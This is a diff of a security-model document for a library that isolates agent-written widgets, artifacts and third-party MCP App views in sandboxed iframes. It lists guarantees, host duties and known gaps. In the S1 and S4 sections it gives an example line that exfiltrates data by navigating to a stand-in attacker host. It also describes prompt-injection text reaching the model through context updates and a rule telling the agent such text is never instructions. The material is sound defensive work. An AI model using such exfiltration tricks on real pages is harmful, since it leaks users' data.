+ is yours, and after the person went on to a button of yours it takes the keyboard from them.
196
+ Nothing leaks either way.
197
+ - **`appOrigins`** (`hostOrigins` in `/server`): list every app origin. Only those may frame
198
+ content, are a frame's host (heard and told), and are checked against the content domain for a
199
+ shared site.
200
+ - **`framedBy`** (P141). Where another app frames yours, name its origins in `framedBy`, never
201
+ `appOrigins`: it may then be an ancestor of your frames, above your page, never their host; your
202
+ page must still be the frame's parent. An outer page that frames content directly (with an address
203
+ got elsewhere) is let in by the browser, but the frame takes nothing from it (no handshake, no
204
+ host function), Porthole's pages tell it nothing, and it hears only content's own word to its
205
+ parent (`*`), untrusted. Your app page's `frame-ancestors` is yours to set; Porthole never sends
206
+ it. Name exact origins of that one product; drop them when it stops framing you.
207
+ - **The outer page** (P144). In that nesting (outer page, your app's page, content), content is a
208
+ descendant of the outer page: it can `postMessage` the outer page (`top`) and every frame in its
209
+ tree, and learn the outer page's origin (measured in Chromium and Firefox); no header stops that.
210
+ Tell its authors: every message listener on the outer page and its frames must check
211
+ `event.source` and `event.origin`, take a message only from the window and origin it expects (your
212
+ app's page), and treat any other as content's untrusted word. By S7's rule, the widest network
213
+ among the outer page's frames is content's way out.
214
+ - **The app runtime.** Run `defineRuntimeConformance` with `api` in CI (§7).
346
215
 
347
216
  ### S1. Inline widgets in a conversation
348
217
 
349
218
  `presets.inlineWidget`: a card the agent wrote, drawn in an opaque `srcdoc` frame as it streams.
350
219
 
351
220
  **Porthole guarantees**
352
-
353
- - An opaque origin: `sandbox="allow-scripts"` only, so no forms, popups, downloads, top or parent
354
- navigation, and nothing of the host's DOM, storage or cookies.
355
- - A closed network. The frame's CSP has `default-src 'none'`, `connect-src 'none'` (until a
356
- capability or the egress config names an origin), `form-action 'none'`, `frame-src 'none'`,
357
- `base-uri 'none'`, `object-src 'none'` and `webrtc 'block'`, and no `'self'` anywhere. Before
358
- content runs, the shell removes the `RTC*` constructors, drops nested frames, plugins and
359
- resource hints as they are inserted, and makes `document.open` and `write` throw. Where the host
360
- opts into the content's own frames (`nestedFrames: "own"`, P128; off by default), the shell keeps
361
- `srcdoc` iframes (an inline widget has no files of its own) and drops every other frame and
362
- plugin as before, a kept frame included once a change would point it elsewhere.
221
+ - An opaque origin, `sandbox="allow-scripts"` only: no forms, popups, downloads, top or parent
222
+ navigation; nothing of the host's DOM, storage or cookies.
223
+ - A closed network. The CSP has `default-src 'none'`, `connect-src 'none'` (until a capability or
224
+ the egress config names an origin), `form-action 'none'`, `frame-src 'none'`, `base-uri 'none'`,
225
+ `object-src 'none'`, `webrtc 'block'`, and no `'self'` anywhere. Before content runs the shell
226
+ removes the `RTC*` constructors, drops nested frames, plugins and resource hints as they are
227
+ inserted, and makes `document.open` and `write` throw. With `nestedFrames: "own"` (P128, off by
228
+ default) it keeps `srcdoc` iframes and drops every other frame and plugin, a kept one too once a
229
+ change would point it elsewhere.
363
230
  - While it streams, drafts are drawn inert (no scripts, handlers or navigation); the whole runs
364
231
  once.
365
232
  - Only the host functions the config declares exist, each behind its default gates:
@@ -375,270 +242,238 @@ Whatever the use:
375
242
  | `readData`, `subscribeData` | 120 and 60 a minute (`liveWidget` adds consent) |
376
243
  | `reportError` | 10 a minute |
377
244
 
378
- - A confirmation needs the host's confirm function: without one, the call is refused (consent and
379
- `show` likewise). Three declined confirmations in a row mute the display's confirm-gated calls,
380
- and at most 10 confirmations wait per display: more are refused (P095).
381
- - Model context (`setModelContext`) goes only once the host's `show` has shown it, after every
382
- other gate. An update is text blocks and plain JSON, at most 20,000 characters, with no
383
- invisible characters, and the manual tells the agent it is the content's unconfirmed text,
384
- never instructions (P100).
385
- - The shell takes messages only from its parent window, and the host only from its frame's
386
- window and origin; both validate every message.
245
+ - Without the host's confirm function, a call that needs a confirmation is refused (consent and
246
+ `show` likewise). Three declined confirmations in a row mute the display's confirm-gated calls; at
247
+ most 10 confirmations wait per display, more are refused (P095).
248
+ - Model context (`setModelContext`) goes only once `show` has shown it, after every other gate: text
249
+ blocks and plain JSON, at most 20,000 characters, no invisible characters. The manual tells the
250
+ agent it is the content's unconfirmed text, never instructions (P100).
251
+ - The shell takes messages only from its parent window, the host only from its frame's window and
252
+ origin; both validate every message.
387
253
  - A frame that navigates is started again, at most three times; the next navigation stops the
388
- display. A display of a file set may hold such a frame for up to 2 s first, in case it was a page
389
- of its own set, delivering nothing either way while it waits (P098).
254
+ display. A file set's display may first hold such a frame up to 2 s, in case it was a page of its
255
+ own set, delivering nothing either way meanwhile (P098).
390
256
 
391
257
  **The host must**
392
-
393
- - Send the page's `frame-src` (`displays.embedderCsp(…)`; `frame-src 'none'` where all displays
394
- are opaque). An opaque frame can navigate itself away with data in the URL
395
- (`location = "https://attacker.example/?" + data`): its own CSP can't stop that, and the shell
396
- gets no navigation events in an opaque origin. The embedding page's `frame-src` is the only
397
- wall.
398
- - Run `defineHostConformance` against its real page in CI. It runs the leak probes there, the
399
- self-navigation ones included, and it is the only check that the page sends that CSP: nothing
400
- checks it when a display mounts.
258
+ - Send the page's `frame-src` (`displays.embedderCsp(…)`; `frame-src 'none'` where all displays are
259
+ opaque). It is the only wall against an opaque frame navigating itself away with data in the URL
260
+ (`location = "https://attacker.example/?" + data`): the frame's CSP can't stop that, and the shell
261
+ gets no navigation events in an opaque origin.
262
+ - Run `defineHostConformance` against its real page in CI: it runs the leak probes there,
263
+ self-navigation included, and is the only check that the page sends that CSP (nothing checks it
264
+ when a display mounts).
401
265
  - Keep `anyHttps` off inline widgets: an image URL is a way out (P059).
402
266
  - Show what a copy put on the clipboard. The React binding's toast shows at most its first four
403
- lines and 280 characters; a host's own `copyText` handler replaces the toast, and must show it
267
+ lines and 280 characters; a host's own `copyText` handler replaces the toast and must show it
404
268
  itself.
405
269
 
406
270
  **Not guaranteed**
407
-
408
271
  - On a page without that `frame-src`, a widget can send out whatever it was shown.
409
- - With `nestedFrames: "own"` (P128, the host's choice), a widget's `srcdoc` frame is a realm where
410
- none of the shell's defenses ran: it has WebRTC (a way out past `connect-src`, closed only where
411
- an engine honors `webrtc 'block'`), resource hints, `document.write`, and `execCommand("copy")`
412
- and copy listeners from a click in it (text the person didn't choose on their clipboard, with no
413
- notice). The frame's CSP, which it inherits, still holds for everything else.
414
- - `copyText` needs only a gesture, not a confirmation: a widget can put text the person didn't
415
- choose on their clipboard when they click in it (pastejacking). The notice above is what tells
416
- them.
417
- - Shown isn't read: the person may not look at a model-context update, or not see an injection
418
- in it for what it is, and characters that draw as a blank (a no-break space, the wide spaces)
419
- pass, a few bits each, bounded by the length limit (P100, accepted). A host that opts out of
420
- `show` (`withoutShow: true`) lets content write into the model's turns text nobody saw (S5).
421
- - The host's gesture check (`copyText`'s, and any a host names) reads its own page's
422
- `navigator.userActivation` (in an engine without it, the check passes). A gesture shows a
423
- moment of intent, not consent: the person may have clicked the host a moment before.
424
- - No proof of a click is asked of `sendPrompt`, `openLink` or `downloadFile` (P149): a widget can
425
- ask for one as it loads. The confirmation is the wall, the rate and the mute its bounds (§5).
272
+ - With `nestedFrames: "own"` (P128, the host's choice), a `srcdoc` frame is a realm where none of
273
+ the shell's defenses ran: WebRTC (a way past `connect-src`, closed only where an engine honors
274
+ `webrtc 'block'`), resource hints, `document.write`, and `execCommand("copy")` and copy listeners
275
+ from a click in it (text the person didn't choose on their clipboard, no notice). The CSP it
276
+ inherits holds for the rest.
277
+ - `copyText` needs a gesture, not a confirmation: a widget can put text the person didn't choose on
278
+ their clipboard when they click in it (pastejacking). The notice tells them.
279
+ - Shown isn't read: the person may not look at a model-context update, or not see an injection in it
280
+ for what it is. Characters that draw blank (a no-break space, the wide spaces) pass, a few bits
281
+ each, bounded by the length limit (P100, accepted). Opting out of `show` (`withoutShow: true`)
282
+ lets content write text nobody saw into the model's turns (S5).
283
+ - The gesture check (`copyText`'s, and any a host names) reads the host page's
284
+ `navigator.userActivation`, and passes in an engine without it. A gesture shows a moment of
285
+ intent, not consent: the person may have clicked the host a moment before.
286
+ - `sendPrompt`, `openLink` and `downloadFile` ask no proof of a click: a widget can ask as it loads,
287
+ bounded by the confirmation, the rate and the mute (§5).
426
288
  - Availability ([§5](#5-out-of-scope)).
427
289
 
428
290
  ### S2. Live widgets: content that reads the host's data
429
291
 
430
- `presets.liveWidget`: an inline widget that shows the host's data, current, as the viewer may see
431
- it.
432
-
433
- **Porthole guarantees**, with the preset's defaults (see the host's duties below for what undoes
434
- them):
292
+ `presets.liveWidget`: an inline widget showing the host's data, current, as the viewer may see it.
435
293
 
436
- - No network of its own: the preset refuses an `egress` option and a capability's own `connect`
437
- or `resource` origins, and the config it returns is frozen (P103). Served, the only scripts it
438
- may load are Porthole's Chart.js and D3, from its own origin (`/__porthole/lib/`).
439
- - Data reaches it only through the host: `readData` and `subscribeData`, each behind `consent`
440
- (asked once per display; without a consent function every data call is refused) and a rate (120
441
- reads and 60 subscriptions a minute).
442
- - A refusal tells the widget why (`data: { code, message }`).
294
+ **Porthole guarantees**, with the preset's defaults (the host's duties below say what undoes them):
295
+ - No network of its own: the preset refuses an `egress` option and a capability's own `connect` or
296
+ `resource` origins, and returns a frozen config (P103). Served, the only scripts it may load are
297
+ Porthole's Chart.js and D3, from its own origin (`/__porthole/lib/`).
298
+ - Data only through the host: `readData` and `subscribeData`, each behind `consent` (asked once per
299
+ display; without a consent function every data call is refused) and a rate (120 reads, 60
300
+ subscriptions a minute). A refusal tells the widget why (`data: { code, message }`).
443
301
  - A result the host pushes with `changed(result)` answers a later read only past `readData`'s own
444
302
  gates, as any read does (P094).
445
- - Served, the shell cancels any navigation of the frame to another document, other than a page of
446
- its own file set, and tells the host (`navigationBlocked`, where `reportError` is declared).
303
+ - Served, the shell cancels any navigation of the frame to another document except a page of its own
304
+ file set, and tells the host (`navigationBlocked`, where `reportError` is declared).
447
305
 
448
306
  **The host must**
449
-
450
307
  - Decide in its handlers what a URI may name, with the viewer's rights: the URI is the content's
451
308
  word.
452
309
  - Ask for consent in its own UI, and keep the answer per viewer and widget.
453
- - Send the page's `frame-src`, and show opaque live widgets only on pages that frame no content
454
- origins (an opaque frame's only wall against navigating away is that `frame-src`).
310
+ - Show opaque live widgets only on pages that frame no content origins: the page's `frame-src` is an
311
+ opaque frame's only wall against navigating away.
455
312
  - Not build a config of its own from the preset's (`{ ...presets.liveWidget(), egress }`, a
456
- capability with origins): that config isn't the preset, and opens what it names.
313
+ capability with origins): that isn't the preset, and opens what it names.
457
314
  - Not pass `readData` or `subscribeData` in `options.capabilities` without their gates: an entry
458
315
  there replaces the preset's, consent included.
459
316
  - Follow the composition rule (S7): no url-mode or `anyHttps` displays on the same page.
460
317
 
461
318
  **Not guaranteed**
462
-
463
319
  - What a neighbouring frame does with data handed to it (S7).
464
320
  - In an engine without the Navigation API, a served frame's navigation falls back to the page's
465
321
  `frame-src`: outside sites stay shut, other content origins don't (P079).
466
- - `LIBRARY_CDNS` displays are allowed on the same page (ADOPTING.md), but they reach nine
467
- origins: fetches, scripts, styles, fonts and images to four package CDNs (cdnjs, jsDelivr,
468
- unpkg, esm.sh), and scripts, styles or fonts from five more (Google Fonts' two, Tailwind's,
469
- jQuery's and Plotly's). The path of every such request is a narrow channel out, read by that
470
- CDN's operator (P048). Keep highly sensitive data off pages with them.
322
+ - `LIBRARY_CDNS` displays may share the page (ADOPTING.md) but reach nine origins: fetches, scripts,
323
+ styles, fonts and images to four package CDNs (cdnjs, jsDelivr, unpkg, esm.sh), and scripts,
324
+ styles or fonts from five more (Google Fonts' two, Tailwind's, jQuery's and Plotly's). Every such
325
+ request's path is a narrow channel out, read by that CDN's operator (P048). Keep highly sensitive
326
+ data off pages with them.
471
327
 
472
328
  ### S3. Private artifacts
473
329
 
474
- `presets.artifact` with `isolation: "domain"`, served by the host kit to a signed-in viewer.
475
-
476
- Terms used below: a page's **clean address** is its address on its own content origin, with no
477
- ticket in it, the one a person opens in a tab or shares (a path on `<label>.<content domain>`). A
478
- framed page's **sealed files address** is `/__porthole/f/<sealed>/`: the frame's session,
479
- encrypted into the path, since WebKit keeps no cookie in a frame (P083).
330
+ `presets.artifact` with `isolation: "domain"`, served by the host kit to a signed-in viewer (setup:
331
+ [ADOPTING.md](ADOPTING.md) § 4, "The server"). A page's **clean address** is its address on its own
332
+ content origin (a path on `<label>.<content domain>`) with no ticket in it: the one a person opens
333
+ in a tab or shares. A framed page's **sealed files address** is `/__porthole/f/<sealed>/`, the
334
+ frame's session encrypted into the path, since WebKit keeps no cookie in a frame (P083).
480
335
 
481
336
  **Porthole guarantees**
482
-
483
- - An origin per storage scope on the content domain, by default a label made from an HMAC of the
484
- scope under a key derived from the host's secret (120 bits). A label is an address, not a
485
- secret: a host may name labels itself (`prefixedName`), and access is the ticket's and the
486
- cookie's job.
487
- - `createContentHost` refuses a content domain that holds an app origin or may share a site with
488
- one (`ContentDomainError`), and a served mount refuses a content origin same-site with the app.
489
- With `health` configured, frames fall back to opaque while the content domain doesn't answer.
337
+ - An origin per storage scope on the content domain; by default its label is an HMAC of the scope
338
+ under a key derived from the host's secret (120 bits). A label is an address, not a secret (a host
339
+ may name labels itself, `prefixedName`): access is the ticket's and the cookie's job.
340
+ - `createContentHost` refuses a content domain that holds an app origin or may share a site with one
341
+ (`ContentDomainError`), and a served mount refuses a content origin same-site with the app. With
342
+ `health` configured, frames fall back to opaque while the content domain doesn't answer.
490
343
  - Access: the host decides, Porthole carries the decision. A ticket of 160 random bits, stored only
491
344
  as a hash, used once, good for 60 seconds by default and 600 at most, becomes a signed cookie of
492
- that origin and instance: `HttpOnly`; `__Host-` under https; `Secure` under https and always in
493
- a frame; in a frame `SameSite=None; Partitioned`, in a tab `Lax`.
494
- - Only cookies Porthole set are read as its own: under https only `__Host-porthole-` names, which
495
- no other label can set; the entered mark names its label. A session names its scope, signed, so
345
+ that origin and instance: `HttpOnly`; `__Host-` under https; `Secure` under https and always in a
346
+ frame; `SameSite=None; Partitioned` in a frame, `Lax` in a tab.
347
+ - Only cookies Porthole set are read as its own: under https only `__Host-porthole-` names, which no
348
+ other label can set; the entered mark names its label. A session names its scope, signed, so
496
349
  another label's session is never read as this one's, under https or on loopback (P101).
497
- - Pages, files and status pages carry their CSP in headers and `X-Robots-Tag: noindex`, and
498
- `frame-ancestors` names the app's origins only (with `nestedFrames: "own"`, P128, a file set's
499
- files below its base name the page's own origin too, so its pages frame them), then the host's
500
- `framedBy`, if any (P141): ancestors above the app's page, never its host.
501
- - Files: from the version's manifest only, typed by Porthole's table, `nosniff`; files other than
502
- pages are `Cross-Origin-Resource-Policy: same-origin`; a file set never registers a service
350
+ - Pages, files and status pages carry their CSP in headers, and `X-Robots-Tag: noindex`.
351
+ `frame-ancestors` names the app's origins only, then the host's `framedBy`, if any (P141:
352
+ ancestors above the app's page, never its host). With `nestedFrames: "own"` (P128), a file set's
353
+ files below its base also name the page's own origin, so its pages can frame them.
354
+ - Files come only from the version's manifest, typed by Porthole's table, `nosniff`; files other
355
+ than pages are `Cross-Origin-Resource-Policy: same-origin`; a file set never registers a service
503
356
  worker; a page's CSP opens its own version's path, not its whole origin.
504
- - A page's nested frames are removed, a `srcdoc` one and one of its own files alike, unless the
505
- host opts in (`nestedFrames: "own"`, P128). Then an iframe of one of its version's own files or
506
- with `srcdoc` loads and runs (a page of the set with its own shell), and every other frame
507
- (another site, another path of the origin, a scheme, an empty one) and plugin is removed: the
508
- page's `frame-src` opens its version's path alone, which also governs every navigation of its
509
- frames.
510
- - With a per-request check (`authorize`), the host decides again on every request; a deny is a
511
- 403 that says `denied`.
357
+ - A page's nested frames are all removed unless the host opts in (`nestedFrames: "own"`, P128). Then
358
+ only an iframe of its version's own files or with `srcdoc` runs (a page of the set, with its own
359
+ shell); every other frame (another site, another path, a scheme, an empty one) and plugin is
360
+ removed, and the page's `frame-src`, which opens only its version's path, governs every navigation
361
+ of its frames.
362
+ - With a per-request check (`authorize`), the host decides again on every request; a deny is a 403
363
+ that says `denied`.
512
364
 
513
365
  **The host must**
514
-
515
- - Use the content domain for nothing else, and put it on the Public Suffix List when it can
516
- (P047).
366
+ - Use the content domain for nothing else, and put it on the Public Suffix List when it can (P047).
517
367
  - Give a secret of at least 32 random bytes (`npx porthole secret`). Porthole checks only its
518
- length, and where `health` is configured the health route answers with a value derived from it,
519
- so a guessable secret can be tested offline.
520
- - Give a per-request check (`authorize`) to revoke: sessions are signed and stateless, so without
521
- it a cookie is good for its whole life (an hour by default, up to 30 days). Leave its answers
522
- uncached (the default; `authorizeTtlSeconds` in the host kit) or call `content.forget(…)` when
523
- revoking, or a cached answer holds for up to that long.
524
- - Send the page's `frame-src`.
368
+ length, and with `health` configured the health route answers with a value derived from it, so a
369
+ guessable secret can be tested offline.
370
+ - Give a per-request check (`authorize`) to revoke: sessions are signed and stateless, so without it
371
+ a cookie is good for its whole life (an hour by default, up to 30 days). Leave its answers
372
+ uncached (the default; `authorizeTtlSeconds`) or call `content.forget(…)` when revoking; otherwise
373
+ a cached answer holds for up to that long.
525
374
 
526
375
  **Not guaranteed**
527
-
528
- - Until the content domain is on the PSL, its labels are same-site with each other (P047), so a
529
- page on one label can attack another (c). A domain-mode page has `allow-same-origin`, so it can
530
- set cookies for the whole content domain (in a frame, within what the browser allows a
531
- third-party frame). `__Host-` keeps them off its sessions' cookies, but:
532
- - on plain http (loopback dev only) the names have no prefix (WebKit keeps no `Secure` cookie
533
- on a tab there), so a page can plant a copy of a label's own session or entry nonce, for
534
- whoever hands it one: they are `HttpOnly` and never sent into a frame (P101);
535
- - in browsers that refuse no nameless cookie (older than RFC 6265bis), a page can plant a copy
536
- of a session it holds as `=__Host-porthole-…`; siblings can overflow the cookie jar or the
537
- header size (denial of service only);
376
+ - Until the content domain is on the PSL, its labels are same-site with each other (P047), so a page
377
+ on one label can attack another (c). A domain-mode page has `allow-same-origin`, so it can set
378
+ cookies for the whole content domain (in a frame, within what the browser allows a third-party
379
+ frame). `__Host-` keeps them off its sessions' cookies, but:
380
+ - on plain http (loopback dev only) the names have no prefix (WebKit keeps no `Secure` cookie on a
381
+ tab there), so a page can plant a copy of a label's own session or entry nonce, for whoever
382
+ hands it one: they are `HttpOnly` and never sent into a frame (P101);
383
+ - in browsers that refuse no nameless cookie (older than RFC 6265bis), a page can plant a copy of
384
+ a session it holds as `=__Host-porthole-…`; siblings can overflow the cookie jar or the header
385
+ size (denial of service only);
538
386
  - enough large cookies make every request from that browser to the content domain too large to
539
387
  serve ([§5](#5-out-of-scope)).
540
388
  - A sealed files address is a bearer credential for its version's files until the session ends
541
- (P083): anyone holding it can load them. It opens on its own for its first hour, then only for
542
- the page's own loads (`Sec-Fetch-Site: same-origin`), which a client outside a browser can claim.
543
- - A revocation reaches the next request. It doesn't reach a page already running, an open
544
- WebSocket, pinned files the browser cached (immutable for a year), or assets in bearer mode
545
- (§7).
546
- - With `nestedFrames: "own"` (P128), a page has WebRTC: every iframe it keeps starts as an
547
- `about:blank` of its own origin, which it reaches before anything loads there, and a `srcdoc`
548
- frame runs none of the shell's defenses (resource hints, `document.write`, and a click's
549
- `execCommand("copy")` and copy listeners, which put text on the clipboard with no notice). Its
550
- frames can't navigate out of its version's path, and their sandbox is the page's.
389
+ (P083): anyone holding it can load them. For its first hour it opens on its own; after that only
390
+ for the page's own loads (`Sec-Fetch-Site: same-origin`), which a client outside a browser can
391
+ claim.
392
+ - A revocation reaches the next request, not a page already running, an open WebSocket, pinned files
393
+ the browser cached (immutable for a year), or assets in bearer mode (§7).
394
+ - With `nestedFrames: "own"` (P128), a page has WebRTC (every iframe it keeps starts as an
395
+ `about:blank` of its own origin, which it reaches first), and its `srcdoc` frames run none of the
396
+ shell's defenses (S1). Its frames can't navigate out of its version's path; their sandbox is the
397
+ page's.
551
398
 
552
399
  ### S4. Public links, and pages that are apps
553
400
 
554
- A served artifact anyone with its link may open (the host's `access` returns
555
- `{ anonymous: true }`), possibly under the app runtime. It is the riskiest use: the author may be
556
- the attacker (c), and its readers are strangers.
401
+ A served artifact anyone with its link may open (the host's `access` returns `{ anonymous: true }`),
402
+ possibly under the app runtime. The riskiest use: the author may be the attacker (c), and its
403
+ readers are strangers.
557
404
 
558
405
  **Porthole guarantees**
559
-
560
406
  - A public grant opens documents, never url-mode apps.
561
- - A public grant without a `level` has no viewer. Under a runtime, such a page is refused the
407
+ - A public grant without a `level` has no viewer. Under a runtime such a page is refused the
562
408
  runtime's own host functions (`user`, `comments`, `artifact`, `assets`, `db`) and every method
563
- above `view`; with a declaration, it reads only the `data` names it declared (P094; a `data`
409
+ above `view`; with a declaration it reads only the `data` names it declared (P094; a `data`
564
410
  without a `resources` list names them all).
565
- - The page is on a site that isn't the host's (its sibling labels share one until the content
566
- domain is on the PSL, S3); a label is one DNS label, never of the form IDNA reserves (`xn--`),
567
- so it is never punycode for another name; pages say `noindex`; a file of a type Porthole
568
- doesn't know is served as a download.
411
+ - The page is on a site that isn't the host's (its sibling labels share one until the content domain
412
+ is on the PSL, S3). A label is one DNS label, never of the form IDNA reserves (`xn--`), so never
413
+ punycode for another name. Pages say `noindex`. A file of a type Porthole doesn't know is served
414
+ as a download.
569
415
  - `authorize` is the host's takedown switch.
570
- - An embedded document (P143, `Grant.embed`, only where the host set `embeds`): its answers say
571
- `frame-ancestors *` for that session alone, never a reader's; it is anonymous, with no level or
572
- user, an artifact's page; its plan names no host, so it hears no one, Porthole
573
- tells no parent anything, no capability or runtime host function runs, and no door is minted. The
574
- flag is signed into the session and the sealed address. Every other session's answers are, byte
575
- for byte, what the same server without `embeds` answers, while an embed session of the same
576
- artifact exists; cookies stay host-only. The host kit never mints one from `access` (its reader's
577
- issue endpoint and clean addresses refuse an `embed` answer, P145).
578
- - A page opened in a tab of its own has its frame's powers and no more (P099): its CSP header
416
+ - An embedded document (P143, `Grant.embed`, only where the host set `embeds`) is anonymous, an
417
+ artifact's page with no level or user; only its session's answers say `frame-ancestors *`. It
418
+ names no host: it hears no one, Porthole tells no parent anything, no capability or runtime host
419
+ function runs, and no door is minted. The flag is signed into the session and the sealed address.
420
+ Every other session's answers are byte for byte what the server without `embeds` answers, even
421
+ while an embed session of the same artifact exists; cookies stay host-only. The host kit never
422
+ mints one from `access` (its issue endpoint and clean addresses refuse it, P145).
423
+ - A page opened in a tab of its own has its frame's powers and no more (P099). Its CSP header
579
424
  carries the frame's sandbox (scripts on its own origin; no popups, forms, downloads, browser
580
- dialogs, or navigation of another window, its opener's included), and its `Permissions-Policy`
581
- header denies what the frame's `allow` doesn't grant (camera, microphone, location, full
582
- screen, passkeys, payments, sharing, the built-in AI models, and every other feature a frame
583
- lacks by default). The shell adds its own walls there, the only ones on engines that don't apply
584
- that header (WebKit, Firefox): `window.open` answers null; picture-in-picture windows, devices,
585
- location, full screen, passkeys, the share sheet and payments (Apple Pay too) are refused at
586
- once; and its navigation guard stops the page navigating itself away, by `location` (set,
587
- `assign`, `replace`), a link, `navigation.navigate()` or `open(…, "_self")`. The last three ask
588
- the guard's rule before they start (WebKit sends a link's and `navigate()`'s request otherwise),
589
- read the address once, and read it through the platform's own functions, so a page can't
590
- hand them one address to check and another to go to; a link, in a shadow root too, is followed
591
- by the shell as it was when clicked, never by the browser as a later listener left it.
592
- `defineHostConformance`'s `served.domain.tab-*` cases check it through the host's real edge.
425
+ dialogs, or navigation of another window, its opener's included). Its `Permissions-Policy` denies
426
+ what the frame's `allow` doesn't grant (camera, microphone, location, full screen, passkeys,
427
+ payments, sharing, the built-in AI models, and every other feature a frame lacks by default). The
428
+ shell's own walls, the only ones on engines that don't apply that header (WebKit, Firefox):
429
+ `window.open` answers null; picture-in-picture, devices, location, full screen, passkeys, the
430
+ share sheet and payments (Apple Pay too) are refused at once; its navigation guard stops the page
431
+ navigating itself away by `location` (set, `assign`, `replace`), a link, `navigation.navigate()`
432
+ or `open(…, "_self")`, with no way to have one address checked and go to another (a link, in a
433
+ shadow root too, is followed as it was when clicked; how: DESIGN.md § "Served content, each with
434
+ its test"). `defineHostConformance`'s `served.domain.tab-*` cases check it through the host's real
435
+ edge.
593
436
 
594
437
  **The host must**
595
-
596
438
  - Add what Porthole doesn't have: a notice that the page is user-made (an interstitial), a way to
597
439
  report it, and a takedown process.
598
440
  - Keep public grants at `view` or without a level. Porthole sets no ceiling: a public grant may
599
441
  carry any level, up to `owner`, and a `user`, and then the page has a viewer at that level.
600
442
  - On pages shared with signed-in people, not offer `db` writes and `user`, or gate them with
601
443
  `consent` or `confirm` (their defaults are rates only: 600 and 60 a minute).
602
- - Rate-limit the issue endpoint (`rateLimit`: optional, per process). An anonymous request is
603
- keyed by an address the client can't set (P092): the socket's peer through Porthole's Node
604
- adapter, `CF-Connecting-IP` on Workers. Anywhere else, or behind proxies, every anonymous request
605
- shares one limit unless you set `rateLimit.trustedProxies` (how many proxies append to
606
- `X-Forwarded-For`; only where the app is reachable through those proxies alone) or
607
- `rateLimit.key`.
444
+ - Rate-limit the issue endpoint (`rateLimit`: optional, per process). An anonymous request is keyed
445
+ by an address the client can't set (P092): the socket's peer through Porthole's Node adapter,
446
+ `CF-Connecting-IP` on Workers. Anywhere else, or behind proxies, every anonymous request shares
447
+ one limit unless you set `rateLimit.trustedProxies` (only where the app is reachable through those
448
+ proxies alone) or `rateLimit.key` (ADOPTING.md § 4, "The server").
608
449
  - Check pages for secrets before publishing them: `lintContent` has no rule for credentials.
609
- - Pass Porthole's `Content-Security-Policy` and `Permissions-Policy` headers on as they are,
610
- through any edge or proxy: on a tab they are the page's sandbox.
450
+ - Pass Porthole's `Content-Security-Policy` and `Permissions-Policy` headers on unchanged through
451
+ any edge or proxy: on a tab they are the page's sandbox.
611
452
  - For embeds (P143): mint `embed` from one route of yours alone (never a reader's ticket or door;
612
- with the host kit, `host.server.issue`, never `access`, which it refuses, P145), keep that route
613
- from widening grants, and blank a takedown within a bound you state (your `authorize` answers,
614
- cached or not). The embedding site sees the page load and hears what the page itself posts to its
615
- parent or top. The page learns where it is embedded (P145, measured in Chromium, Firefox and
616
- WebKit): its document's request carries your outer page's address as `Referer` (its origin, under
617
- the default referrer policy; Firefox also sends it as `Origin`, Chromium and WebKit don't),
618
- `document.referrer` says the same,
619
- and `location.ancestorOrigins` names every ancestor, the embedding site's origin included. A page
620
- with any egress (a `connect-src`, an image source) can send that out; one with none can't. Treat
621
- where an embed is shown as known to its author.
453
+ with the host kit, `host.server.issue`, never `access`, P145), keep that route from widening
454
+ grants, and blank a takedown within a bound you state (your `authorize` answers, cached or not).
455
+ The embedding site sees the page load and hears what the page posts to its parent or top. The page
456
+ learns where it is embedded (P145, measured in Chromium, Firefox and WebKit): its request's
457
+ `Referer` names your outer page (its origin under the default referrer policy; Firefox also sends
458
+ `Origin`), `document.referrer` says the same, and `location.ancestorOrigins` names every ancestor,
459
+ the embedding site included. A page with any egress (a `connect-src`, an image source) can send
460
+ that out; one with none can't. Treat where an embed is shown as known to its author.
622
461
  - Treat a public link's clean address as a tab's (P125): to show what one names in a frame, resolve
623
462
  it through your issue endpoint (`client.resolve`, `<PortholeView address>`). Its refusals (signed
624
- out, denied, not found) are your backend's word, drawn as the fallback with no frame built: keep
625
- that endpoint's answers as honest as its access decision, since a `blocked` there is yours, not
626
- Porthole's door's.
463
+ out, denied, not found) are drawn as the fallback with no frame built; a `blocked` there is your
464
+ backend's word, not the door's, so keep those answers as honest as the access decision.
627
465
 
628
466
  **Not guaranteed**
629
-
630
- - In a browser without the Navigation API (older Safari and Firefox releases), a page opened in
631
- a tab can navigate itself away with data in the address (`location = "https://attacker.example/?"
632
- + whatTheVisitorTyped`): the shell's guard gets no events there, and a tab has no embedding page
633
- whose `frame-src` would stop it. It can also go to a `blob:` document it wrote itself, where
634
- the shell never runs: the CSP and its sandbox carry over, the `Permissions-Policy` header and
635
- the shell's walls don't (WebRTC is there, and a granted location). No CSP directive closes
636
- either (P099, accepted). A host that must cover such browsers shows public pages in its own
637
- frame.
638
- - `db` and `user` reach the author without any network: what viewers write, and `user.get()`'s
639
- `{ id, name, level }`, the page can read and keep in `db`. Closed egress doesn't cover a channel
640
- the host itself provides. Give `id` a per-artifact pseudonym (`pseudonymFor`), and decide what
641
- `name` says.
467
+ - In a browser without the Navigation API (older Safari and Firefox), a page opened in a tab can
468
+ navigate itself away with data in the address: the shell's guard gets no events there, and a tab
469
+ has no embedding page whose `frame-src` would stop it. It can also go to a `blob:` document it
470
+ wrote, where the shell never runs: the CSP and its sandbox carry over, the `Permissions-Policy`
471
+ and the shell's walls don't (WebRTC is there, and a granted location). No CSP directive closes
472
+ either (P099, accepted). A host that must cover such browsers shows public pages in its own frame.
473
+ - `db` and `user` reach the author without any network: the page can read what viewers write, and
474
+ `user.get()`'s `{ id, name, level }`, and keep it in `db`. Closed egress doesn't cover a channel
475
+ the host provides. Give `id` a per-artifact pseudonym (`pseudonymFor`), and decide what `name`
476
+ says.
642
477
  - Phishing ([§5](#5-out-of-scope)).
643
478
 
644
479
  ### S5. Third-party MCP Apps
@@ -646,42 +481,36 @@ the attacker (c), and its readers are strangers.
646
481
  `presets.mcpApp` through `/mcp`: a view from an MCP server the host doesn't control (b).
647
482
 
648
483
  **Porthole guarantees**
649
-
650
- - Porthole implements the host side itself, with one hardened frame: by default an opaque frame
651
- with the shell's defenses first in the view's document; with `isolation: "domain"`, behind the
652
- sandbox proxy on a content origin.
484
+ - Porthole implements the host side itself, with one hardened frame: by default an opaque frame with
485
+ the shell's defenses first in the view's document; with `isolation: "domain"`, behind the sandbox
486
+ proxy on a content origin.
653
487
  - The view's declared CSP becomes its egress: `connectDomains` to `connect-src`, `resourceDomains`
654
488
  to scripts, styles, images, fonts and media. Only exact origins (https or wss; http and ws on
655
489
  loopback only) and `*.` wildcards over a domain are taken; a wildcard over a single label or a
656
490
